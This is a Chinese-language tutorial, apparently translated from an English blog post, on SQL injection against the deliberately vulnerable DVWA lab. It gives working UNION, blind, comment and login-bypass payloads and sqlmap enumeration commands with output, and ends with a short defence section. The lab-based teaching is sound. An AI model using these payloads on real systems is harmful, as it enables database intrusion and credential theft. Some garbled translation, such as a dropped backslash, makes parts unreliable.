作为Web开发人员,如果有一个熟悉的攻击媒介,那就是注入,尤其是这个注入。在OWASP上 ,排名前10位的注入在SQL的注视下排名第一。如今使用SQL 非常普遍,易于自动化,但同时也会造成很多不可修复的损害。话虽如此,重要的是要提到SQL注入(从这里开始将被称为SQLi)是一个具有多种风格的简单概念。下面就来了解一下SQL注入基础知识,这里尽可能多的SQL DB风格出现在各种Web表单和开发人员错误的矩阵中。
SQL注入是什么
SQL注入(简称SQLi)是一种渗透Web应用程序数据而不损害主机本身的方法。它使攻击者可以从数据库中提取数据,在某些情况下还可以从源代码和其他敏感信息中提取数据。
进行攻击需要一个非常简单的“黑客工具”:您的浏览器,使其易于访问且易于学习和执行。
有多种SQLi向量。最常见的请求涉及来自客户端浏览器的HTTP请求。因此,在开发人员希望用户提供简单输入(例如用户ID)的情况下,攻击者可能会尝试注入SQL语句。例如,不要提供1,而是考虑以下输入:
1' UNION SELECT password FROM users UNION SELECT '1
如果在注入的上下文中未考虑到后端代码,则这种查询可能会被利用。结果是通过简单的Web表单提取数据库信息。如果成功,则攻击者无需访问物理服务器。数据是可提取的,并且可以“合法”方式获得。
如何进攻
为了建立一个实际的例子,我使用了臭名昭著的Damn Vulnerable Web Application。它有多种形式,但是为了演示和提高速度,让我们选择使用Docker最快的一种:
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
# The login screen would be @ http://localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.
菜单模块
从菜单中选择“ SQL Injection”模块。尝试使用可能的输入时,我们可以看到请求的参数是用户ID,因此,第一个选项可以是 1:1
# ID: 1
# First name: admin
# Surname: admin
似乎我们收到了三个字段的响应:ID,名和姓。
让我们通过提供 ':'
# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1
# Look how hackernoon's syntax highlighting is
# breaking up due to a single quote
# Think about how the same can affect
# SQL queries
此响应在这里是有价值的信息。当应用程序返回错误并从后端转发错误消息时,攻击者将获得实时反馈,以进行不同的尝试以进行调整。
有时,作为一种防御机制,应用程序返回通用错误消息而没有任何提示性消息。仍然可以执行攻击并将其称为“盲SQL注入”。 进一步了解。
回到我们的注射任务。使用后 ' 该应用程序返回了一条有用的消息,提示附近有错误 '''''。看起来注入是有效的,并且来自DB引擎的响应是可见的。这意味着我们可以尝试不同的方法并获得可见的反馈。
SQL UNION语句是常见的帮助器。使用该工具,攻击者可以将其他信息与结果统一起来并一起返回。我们将尝试运行下一个:
1' UNION SELECT '2
# Output: The used SELECT statements have a
# different number of columns
首先,让我们回顾一下输入:
1' 表示“以1结束语句并以撇号将其结束”。正是因为这个原因;能够终止SQL查询的逻辑部分, ' 如果未能正确逃脱,将会很危险。
UNION SELECT '2 是一个 UNION 选择一个数字并打开另一个数字的语句 ' 与后端代码中语句末尾的那个配对。
现在我们知道了 UNION 可能需要一些调整。用以下命令调用SQL语句时 UNION 数据库引擎会尝试将结果统一为一组。为了做到这一点,所有部分必须具有相同的列号,以便可以统一它们。
让我们扩展测试并提供另一列:
1' UNION SELECT 1,'2
# ID: 1' UNION SELECT 1,'2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1,'2
# First name: 1
# Surname: 2
不过,这并不是真正的提取数据。为了找到有意义的东西,我们必须找到解决方案的方式,但这绝对是有希望的。
1.第一步是从以下位置获取数据库名称以查询表:
1' union select 2, table_schema from
information_schema.tables union select 3,'4
这将产生三组,数据库名称在“ Surname”下:“ admin”,“ dvwa”,“ information_schema”。
2.我们感兴趣 dvwa,因此我们将选择它并查询其架构:
1' union select 2, table_name from
information_schema.tables where
table_schema = 'dvwa' union select 3,'4
该查询产生表名称:“ admin”,“ users”,“ guestbook”
3.“用户”表通常是立即可疑的,其中包含有趣的数据,例如用户名,密码和其他个人身份信息(PII)。我们将对此进行查询(随时修改请求并查询所有可用信息):
1' union select 2, column_name from
information_schema.columns where
table_name = 'users' union select 3,'4
我们以列名称列表作为响应。“用户”和“密码”似乎很有趣。
4.我们继续直接查询“用户”表:
1' union select user, password from users
union select 1,2'
# ID:1' union select user, password from
# users union select 1,2'
# First name: admin
# Surname: admin
# ID:1' union select user, password from users
# union select 1,2'
# First name: admin # Surname:
# 5f4dcc3b5aa765d61d8327deb882cf99
# ID:1' union select user, password from users
# union select 1,2'
# First name: gordonb # Surname:
# e99a18c428cb38d5f260853678922e03
# ID:1' union select user, password from users
# union select 1,2'
# First name: 1337 # Surname:
# 8d3533d75ae2c3966d7e0d4fcc69216b
# ID:1' union select user, password from users
# union select 1,2'
# First name: pablo # Surname:
# 0d107d09f5bbe40cade3de5c71e9e9b7
# ID:1' union select user, password from users
# union select 1,2'
# First name: smithy # Surname:
# 5f4dcc3b5aa765d61d8327deb882cf99
# ID:1' union select user, password from users
# union select 1,2'
# First name: 1 # Surname: 2
它是:现有所有用户和密码的列表。出人意料的是(或没有),密码是明文形式的,甚至没有像应有的那样散列。
安全级别:中
在“ DVWA安全性”下提高DVWA安全性级别->选择 Medium。
这次,我们找到了一个下拉列表,而不是简单的表单,其中包含某些用户可供选择。检查浏览器开发工具会告诉我们 POST 正在使用两个参数发送请求: id=1&Submit=Submit。由于头文件不只几个,因此我们可以使用任何一种拦截器来捕获请求并使用不同的参数重复该请求。一个最喜欢的选项是BurpSuite。
快速设置以与BurpSuite进行拦截
设置您的请求以通过代理;使用Firefox,这很容易 Preferences -> Advanced -> Network Settings -> Manual Proxy Configuration 并设置所有要通过的协议 127.0.0.1:8080 (BurpSuite的默认设置)
前往BurpSuite Proxy 标签并设置 intercept on。Firefox发出的下一个请求应在BS处停止,您可以决定停止,转发或丢弃它。
转到DVWA SQLi页面,从下拉列表中选择一个ID,然后单击 Submit。该请求应在BurpSuite上等待,然后我们可以将其发送到 Repeater 通过 Actions 菜单。
通过玩来戳服务器 id 的 POST 请求以以下形式显示转义字符 。所以每当有特殊字符',#,-,$看来它正在逃脱。但是,不能使用特殊字符,不能防止 UNION 使用完全相同的语法进行注入:
1 UNION SELECT user, password FROM users而已。根本没有逃脱。后端代码已经将其包装并完全获取命令中的所有内容。
安全等级:高
上一个安全级别显示了一个链接,该链接会弹出另一个带有控制请求的表单的窗口。尝试使用先前的转义符可以看出,此处的代码“更好”,但仍有故障。注释是逃避该行其余部分的好方法:
SELECT something FROM sometable # WHERE ...
# Will translate into the SQL query
SELECT something FROM sometable
注释SQL行有不同的选项,常见的是 --, #, /* -以结尾的多行 */。
在“现实世界”中,这些对于描述代码很有用:
SELECT name -- this is the name
FROM users -- users table
WHERE name="DAN" -- Dan is the CEO
对于SQLi,注释有助于忽略后面的其余代码,因此请考虑以下PHP代码:
// Check database
$query= "SELECT first_name, last_name FROM users
WHERE user_id = '$id' LIMIT 1;";
查询是 LIMITed到一个结果,使得很难提取大量数据,而忽略了 LIMITation可以绕过它:
# First input:
1 UNION SELECT user,password from users
# Translates to
SELECT first_name, last_name FROM users
WHERE user_id = '1 union select user,password' LIMIT 1;
由于查询结果仅限于一组,它将不断返回 first_name, last_name,而忽略 UNION。
然后让我们再试一次:
1 UNION SELECT user,password from users#
# Limitation ignored
SELECT first_name, last_name FROM users
WHERE user_id = '1 union select user,password FROM users';
SQLi
当应用程序不返回SQL错误但仍然容易受到攻击时,将使用盲SQL注入。这实际上与普通SQL相同,但是攻击者必须使用一系列正确/错误测试来确定漏洞是否存在。另一种方法是基于时间的。通过发送 SLEEP 在查询中,攻击者可以根据显示响应所花费的时间判断答案是否肯定。
基于时间的盲SQL注入依赖于数据库暂停指定的时间量,然后返回结果,表明成功执行了SQL查询。使用此方法,攻击者使用以下逻辑枚举所需数据的每个字母:
如果第一个数据库名称的第一个字母为'A',请等待10秒钟。
如果第一个数据库名称的第一个字母为'B',请等待10秒钟等等
-盲SQL注入— OWASP
让我们使用以下命令测试DVWA盲SQLi模块 low 安全级别。简单的输入 1 系统返回 User ID exists in the database。输入错误 ' 响应是 404 一条消息 User ID is MISSING from the database。
下一步是研究布尔攻击是否是可选的:
# Input
'1 AND 1='1
>> User ID exists in the database.
# Ok, that was supposed to be a truthy signal.
# Input
'1 AND 1='2
>> User ID is MISSING from the database.
# Good! It seems a boolean-based blind attack is
valid
从这里开始,就需要将已知结果分为错误/肯定的陈述,攻击者可以从中得出答案。例如:
# This input returns 404
1' and (select user from users where
user_id=1)='test' and 1='1
# However this is successful
# This means the name is 'admin' where user_id = 1
1' and (select user from users where
user_id=1)='admin' and 1='1
碎片化的SQLi
鲜为人知的方法,但是在某些字符例如 ' 转义,但用户可以控制两个不同的字段。一个明显的例子是登录页面。当应用程序对字符串进行转义时,例如使用 ,攻击者可以通过创建自己的逃避来避开它,如下所示:
username:
password: or 1 #
$query = select * from users where username='".$username."'
and password='".$password."'";
转换为:
select * FROM users where username='' or password='
or 1 # ';
反斜杠转义以下单引号,从而导致应用程序读取用户名值的情况如下: '' or password=' or 1 # '。上面的语句将始终返回 true。确保将其后面的命令部分作为注释忽略。
使用sqlmap自动化事物
人们必须熟悉处理不同情况的不同技术。但是,如果您不是专家,那么重写有效载荷并记住所有选项将很困难。我们可能会错过的人为错误和假阳性也可能造成干扰。 Sqlmap可以提供帮助。
sqlmap 是一个CLI工具,可自动执行扫描并提供相关信息。如果可能,它可以从数据库中获取信息,例如数据库名称,甚至表。它还将标识盲目的SQLi并报告可选技术(布尔或基于时间)。
这是在DVWA盲SQLi级别上的简单操作
# Scanning the full form path with parameters
# Note how cookies are also passed to the scanner
for authentication
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#"
--cookie="PHPSESSID=abcd;security=low"
--dbs
sqlmap resumed the following injection point(s)
from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or
HAVING clause
Payload: id=1' AND 5756=5756 AND
'XWif'='XWif&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
(query SLEEP)
Payload: id=1' AND (SELECT 5198 FROM
(SELECT(SLEEP(5)))xyFF)
AND 'lswI'='lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema
扫描程序同时发现了漏洞和必须盲目攻击的事实。它建议有效负载和可以使用的当前可用数据库:
# Running the same scan with a -D for db name
# and --tables to enumerate the dvwa db
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#"
--cookie="PHPSESSID=abcd;security=low"
-D dvwa
--tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
防御
“ ORM ” —一个普遍的信念是,处理SQLi的一种好方法是使用ORM层。ORM不仅提供数据结构管理,而且还消除了构建原始数据库查询的责任。这通常是有帮助的;将进行查询的责任转移给更有经验的人是有意义的。但是,不应盲目进行。虽然ORM通常是一个,但它不是SQLi安全解决方案。ORM可以轻松地变成一把双刃剑。如果被破坏,ORM可能会变成世界范围的SQL注入漏洞。ORM用户必须熟悉注入方法并测试自己的应用程序。
“我会说这是任何ORM的基准期望,是的。只要您使用ORM的核心API或查询构建器,这就有可能是为什么未在文档中提及它的原因。这就是需要注意的地方……ORM提供了许多构建数据库查询的方法,但它们也为您提供了选择/灵活性,可以将“原始”,“自己动手”查询编写为字符串……或者允许您编写某些部分生成的查询作为原始字符串。显然,您要避免这样做,因为这样做有点违反了使用ORM的目的……但是,时不时都有这种情况。”
-由@ feather-hmalone提供的TypeOrm问题回复
WAF—Web应用程序防火墙可以通过过滤传入的可疑请求(例如SQLi的请求)或跨站点脚本有效负载来提供很大的帮助。这些也依赖于其规则的力量, 如果实施不正确,则可以绕开它们。
自卫-牢记最佳实践来构建事物是一个很好的方向。听起来很明显,但事实并非如此。最佳实践心态很好,但这并不意味着可以将每个职责都转移到另一个层。当涉及到安全性时,尤其是对于负责大多数Web数据泄漏的媒介而言,应该知道如何进行自我防御。熟悉攻击和工具可以使敏感信息泄漏有所不同。
以上就是关于SQL注入基础知识的全部内容,想了解更多关于SQL的信息,请继续关注。